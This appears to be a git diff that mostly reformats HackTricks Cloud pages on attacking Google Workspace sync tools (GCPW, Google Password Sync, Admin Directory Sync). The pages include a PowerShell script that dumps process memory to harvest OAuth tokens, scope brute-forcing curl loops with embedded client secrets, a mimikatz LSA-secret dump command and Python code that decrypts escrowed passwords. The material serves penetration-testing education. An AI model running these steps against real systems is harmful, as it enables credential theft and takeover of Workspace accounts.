 It's possible to find some **C# code** accessing these tokens in their decrypted manner in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
 
-Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
+Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
 
 It can be observed that AESGCM is used, the encrypted token starts with a **version** (**`v10`** at this time), then it [**has 12B of nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), and then it has the **cypher-text** with a final **mac of 16B**.
 
@@ -223,74 +199,74 @@ The following script can be used to **dump** every **Chrome** process using `pro
 <summary>Dump Chrome processes and search tokens</summary>
 
 ```powershell
-# Define paths for Procdump and Strings utilities   
-$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"   
-$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"   
-$dumpFolder = "C:\Users\Public\dumps"   
- 
-# Regular expressions for tokens 
-$tokenRegexes = @( 
-    "ya29\.[a-zA-Z0-9_\.\-]{50,}", 
-    "1//[a-zA-Z0-9_\.\-]{50,}" 
+# Define paths for Procdump and Strings utilities
+$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
+$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
+$dumpFolder = "C:\Users\Public\dumps"
+
+# Regular expressions for tokens
+$tokenRegexes = @(
+    "ya29\.[a-zA-Z0-9_\.\-]{50,}",
+    "1//[a-zA-Z0-9_\.\-]{50,}"
 )
- 
-# Create a directory for the dumps if it doesn't exist   
-if (!(Test-Path $dumpFolder)) {   
-    New-Item -Path $dumpFolder -ItemType Directory   
-}   
- 
-# Get all Chrome process IDs   
-$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id   
- 
-# Dump each Chrome process   
-foreach ($processId in $chromeProcesses) {   
-    Write-Output "Dumping process with PID: $processId"   
-    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"   
-}   
- 
-# Extract strings and search for tokens in each dump   
-Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {   
-    $dumpFile = $_.FullName   
-    $baseName = $_.BaseName 
-    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"   
-    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"   
- 
-    Write-Output "Extracting strings from $dumpFile"   
-    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile   
-    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile   
- 
-    $outputFiles = @($asciiStringsFile, $unicodeStringsFile) 
- 
-    foreach ($file in $outputFiles) { 
-        foreach ($regex in $tokenRegexes) { 
- 
-            $matches = Select-String -Path $file -Pattern $regex -AllMatches 
- 
-            $uniqueMatches = @{} 
- 
-            foreach ($matchInfo in $matches) { 
-                foreach ($match in $matchInfo.Matches) { 
-                    $matchValue = $match.Value 
-                    if (-not $uniqueMatches.ContainsKey($matchValue)) { 
-                        $uniqueMatches[$matchValue] = @{ 
-                            LineNumber = $matchInfo.LineNumber 
-                            LineText   = $matchInfo.Line.Trim() 
-                            FilePath   = $matchInfo.Path 
-                        } 
-                    } 
-                } 
-            } 
- 
-            foreach ($matchValue in $uniqueMatches.Keys) { 
-                $info = $uniqueMatches[$matchValue] 
-                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" 
-            } 
-        } 
- 
-        Write-Output "" 
-    } 
-} 
- 
+
+# Create a directory for the dumps if it doesn't exist
+if (!(Test-Path $dumpFolder)) {
+    New-Item -Path $dumpFolder -ItemType Directory
+}
+
+# Get all Chrome process IDs
+$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
+
+# Dump each Chrome process
+foreach ($processId in $chromeProcesses) {
+    Write-Output "Dumping process with PID: $processId"
+    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
+}
+
+# Extract strings and search for tokens in each dump
+Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
+    $dumpFile = $_.FullName
+    $baseName = $_.BaseName
+    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
+    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
+
+    Write-Output "Extracting strings from $dumpFile"
+    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
+    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
+
+    $outputFiles = @($asciiStringsFile, $unicodeStringsFile)
+
+    foreach ($file in $outputFiles) {
+        foreach ($regex in $tokenRegexes) {
+
+            $matches = Select-String -Path $file -Pattern $regex -AllMatches
+
+            $uniqueMatches = @{}
+
+            foreach ($matchInfo in $matches) {
+                foreach ($match in $matchInfo.Matches) {
+                    $matchValue = $match.Value
+                    if (-not $uniqueMatches.ContainsKey($matchValue)) {
+                        $uniqueMatches[$matchValue] = @{
+                            LineNumber = $matchInfo.LineNumber
+                            LineText   = $matchInfo.Line.Trim()
+                            FilePath   = $matchInfo.Path
+                        }
+                    }
+                }
+            }
+
+            foreach ($matchValue in $uniqueMatches.Keys) {
+                $info = $uniqueMatches[$matchValue]
+                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
+            }
+        }
+
+        Write-Output ""
+    }
+}
+
 Remove-Item -Path $dumpFolder -Recurse -Force
 ```
 
@@ -351,11 +327,10 @@ curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
 
 ### GCPW - Scopes
 
-{% hint style="info" %}
-Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
-
-Alsoe, the refresh token is not valid in every application.
-{% endhint %}
+> [!NOTE]
+> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
+>
+> Also, the refresh token is not valid in every application.
 
 By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
 
@@ -364,7 +339,7 @@ By default GCPW won't have access as the user to every possible OAuth scope, so
 <summary>Bash script to brute-force scopes</summary>
 
 ```bash
-curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
+curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
     echo -ne "Testing $scope           \r"
     if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
      --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
@@ -648,7 +623,7 @@ Some examples using some of those scopes:
 curl -X GET \
   -H "Authorization: Bearer $access_token" \
   "https://www.googleapis.com/oauth2/v2/userinfo"
-  
+
 {
   "id": "100203736939176354570",
   "email": "hacktricks@example.com",
@@ -823,8 +798,8 @@ curl -X POST \
 
 **Google Workspace Vault** is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more.
 
-* A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue.
-* A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation.
+- A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue.
+- A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation.
 
 ```bash
 # List matters
@@ -868,7 +843,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
 
 Then search for the secret like `Chrome-GCPW-<sid>` like in the image:
 
-<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
 
 Then, with an **access token** with the scope `https://www.google.com/accounts/OAuthLogin` it's possible to request the private key to decrypt the password:
 
@@ -910,38 +885,38 @@ def decrypt_password(access_token, lsa_secret):
         # Obtain the private key using the resource_id
         resource_id = lsa_secret["resource_id"]
         encrypted_data = b64decode(lsa_secret["encrypted_password"])
-        
+
         private_key_pem = get_decryption_key(access_token, resource_id)
         print("Found private key:")
         print(private_key_pem)
-        
+
         if private_key_pem is None:
             raise ValueError("Unable to retrieve the private key.")
-        
+
         # Load the RSA private key
         rsa_key = RSA.import_key(private_key_pem)
         key_size = int(rsa_key.size_in_bits() / 8)
-        
+
         # Decrypt the encrypted data
         cipher_rsa = PKCS1_OAEP.new(rsa_key)
         session_key = cipher_rsa.decrypt(encrypted_data[:key_size])
-        
+
         # Extract the session key and other data from decrypted payload
         session_header = session_key[:32]
         session_nonce = session_key[32:]
         mac = encrypted_data[-16:]
-        
+
         # Decrypt the AES GCM data
         aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce)
         decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)
-        
+
         print("Decrypted Password:", decrypted_password.decode("utf-8"))
-    
+
     except Exception as e:
         print(f"Error occurred during decryption: {e}")
 
 # CHANGE THIS INPUT DATA!
-access_token = "<acces_token>" 
+access_token = "<acces_token>"
 lsa_secret = {
     "encrypted_password": "<encrypted-password>",
     "resource_id": "<resource-id>"
@@ -954,25 +929,12 @@ decrypt_password(access_token, lsa_secret)
 
 It's possible to find the key components of this in the Chromium source code:
 
-* API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code)
-* API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
+- API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
+- API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
 
 ## References
 
-* [https://www.youtube.com/watch?v=FEQxHRRP\_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
-* [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)
+- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
+- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
similarity index 54%
rename from pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
rename to src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
index 36b122aa6..5b76e330c 100644
--- a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
@@ -1,19 +1,6 @@
 # GPS - Google Password Sync
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -25,21 +12,20 @@ It gets installed in `C:\Program Files\Google\Password Sync` where you can find
 
 To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
 
-* Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
-  * Only available in Domain Controllers with GUI
-* Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
-  * Very bad idea as those credentials never expired and could be misused
-  * Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
-  * Google require it for domain controlled without GUI
-  * These creds are also stored in the registry
+- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
+  - Only available in Domain Controllers with GUI
+- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
+  - Very bad idea as those credentials never expired and could be misused
+  - Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
+  - Google require it for domain controlled without GUI
+  - These creds are also stored in the registry
 
 Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
 
 ### GPS - Dumping password and token from disk
 
-{% hint style="success" %}
-Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
-{% endhint %}
+> [!TIP]
+> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
 
 In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
 
@@ -52,7 +38,7 @@ Moreover, it's also encoded using base32hex with the dictionary **`0123456789abc
 
 The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
 
-<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
 
 Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
 
@@ -68,76 +54,76 @@ I guess you could also find the AD configured credentials.
 <summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
 
 ```powershell
-# Define paths for Procdump and Strings utilities   
-$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"   
-$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"   
-$dumpFolder = "C:\Users\Public\dumps"   
- 
-# Regular expressions for tokens 
-$tokenRegexes = @( 
-    "ya29\.[a-zA-Z0-9_\.\-]{50,}", 
-    "1//[a-zA-Z0-9_\.\-]{50,}" 
-) 
- 
-# Show EULA if it wasn't accepted yet for strings 
-$stringsPath 
- 
-# Create a directory for the dumps if it doesn't exist   
-if (!(Test-Path $dumpFolder)) {   
-    New-Item -Path $dumpFolder -ItemType Directory   
-}   
- 
-# Get all Chrome process IDs   
+# Define paths for Procdump and Strings utilities
+$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
+$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
+$dumpFolder = "C:\Users\Public\dumps"
+
+# Regular expressions for tokens
+$tokenRegexes = @(
+    "ya29\.[a-zA-Z0-9_\.\-]{50,}",
+    "1//[a-zA-Z0-9_\.\-]{50,}"
+)
+
+# Show EULA if it wasn't accepted yet for strings
+$stringsPath
+
+# Create a directory for the dumps if it doesn't exist
+if (!(Test-Path $dumpFolder)) {
+    New-Item -Path $dumpFolder -ItemType Directory
+}
+
+# Get all Chrome process IDs
 $processNames = @("PasswordSync", "password_sync_service")
 $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
- 
-# Dump each Chrome process   
-foreach ($processId in $chromeProcesses) {   
-    Write-Output "Dumping process with PID: $processId"   
-    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"   
-}   
- 
-# Extract strings and search for tokens in each dump   
-Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {   
-    $dumpFile = $_.FullName   
-    $baseName = $_.BaseName 
-    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"   
-    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"   
- 
-    Write-Output "Extracting strings from $dumpFile"   
-    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile   
-    & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile   
- 
-    $outputFiles = @($asciiStringsFile, $unicodeStringsFile) 
- 
-    foreach ($file in $outputFiles) { 
-        foreach ($regex in $tokenRegexes) { 
- 
-            $matches = Select-String -Path $file -Pattern $regex -AllMatches 
- 
-            $uniqueMatches = @{} 
- 
-            foreach ($matchInfo in $matches) { 
-                foreach ($match in $matchInfo.Matches) { 
-                    $matchValue = $match.Value 
-                    if (-not $uniqueMatches.ContainsKey($matchValue)) { 
-                        $uniqueMatches[$matchValue] = @{ 
-                            LineNumber = $matchInfo.LineNumber 
-                            LineText   = $matchInfo.Line.Trim() 
-                            FilePath   = $matchInfo.Path 
-                        } 
-                    } 
-                } 
-            } 
- 
-            foreach ($matchValue in $uniqueMatches.Keys) { 
-                $info = $uniqueMatches[$matchValue] 
-                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" 
-            } 
-        } 
- 
-        Write-Output "" 
-    } 
+
+# Dump each Chrome process
+foreach ($processId in $chromeProcesses) {
+    Write-Output "Dumping process with PID: $processId"
+    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
+}
+
+# Extract strings and search for tokens in each dump
+Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
+    $dumpFile = $_.FullName
+    $baseName = $_.BaseName
+    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
+    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
+
+    Write-Output "Extracting strings from $dumpFile"
+    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
+    & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
+
+    $outputFiles = @($asciiStringsFile, $unicodeStringsFile)
+
+    foreach ($file in $outputFiles) {
+        foreach ($regex in $tokenRegexes) {
+
+            $matches = Select-String -Path $file -Pattern $regex -AllMatches
+
+            $uniqueMatches = @{}
+
+            foreach ($matchInfo in $matches) {
+                foreach ($match in $matchInfo.Matches) {
+                    $matchValue = $match.Value
+                    if (-not $uniqueMatches.ContainsKey($matchValue)) {
+                        $uniqueMatches[$matchValue] = @{
+                            LineNumber = $matchInfo.LineNumber
+                            LineText   = $matchInfo.Line.Trim()
+                            FilePath   = $matchInfo.Path
+                        }
+                    }
+                }
+            }
+
+            foreach ($matchValue in $uniqueMatches.Keys) {
+                $info = $uniqueMatches[$matchValue]
+                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
+            }
+        }
+
+        Write-Output ""
+    }
 }
 ```
 
@@ -157,11 +143,10 @@ curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.goo
 
 ### GPS - Scopes
 
-{% hint style="info" %}
-Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
-
-Also, the refresh token is not valid in every application.
-{% endhint %}
+> [!NOTE]
+> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
+>
+> Also, the refresh token is not valid in every application.
 
 By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
 
@@ -170,7 +155,7 @@ By default GPS won't have access as the user to every possible OAuth scope, so u
 <summary>Bash script to brute-force scopes</summary>
 
 ```bash
-curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
+curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
     echo -ne "Testing $scope           \r"
     if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
      --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -201,21 +186,7 @@ https://www.googleapis.com/auth/admin.directory.user
 
 Which is the same one you get if you don't indicate any scope.
 
-{% hint style="danger" %}
-With this scope you could **modify the password of a existing user to escalate privileges**.
-{% endhint %}
+> [!CAUTION]
+> With this scope you could **modify the password of a existing user to escalate privileges**.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md
similarity index 57%
rename from pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md
rename to src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md
index ddb40cd9f..4f7f7e554 100644
--- a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md
@@ -1,21 +1,6 @@
 # GWS - Admin Directory Sync
 
-
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -23,17 +8,17 @@ The main difference between this way to synchronize users with GCDS is that GCDS
 
 At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
 
-* **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
-* **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
+- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
+- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
 
 Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
 
 Other options that it will allow during this synchronization are:
 
-* Send an email to the new users to log-in
-* Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
-* Select the **groups containing the users** that will be synced.
-* Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
+- Send an email to the new users to log-in
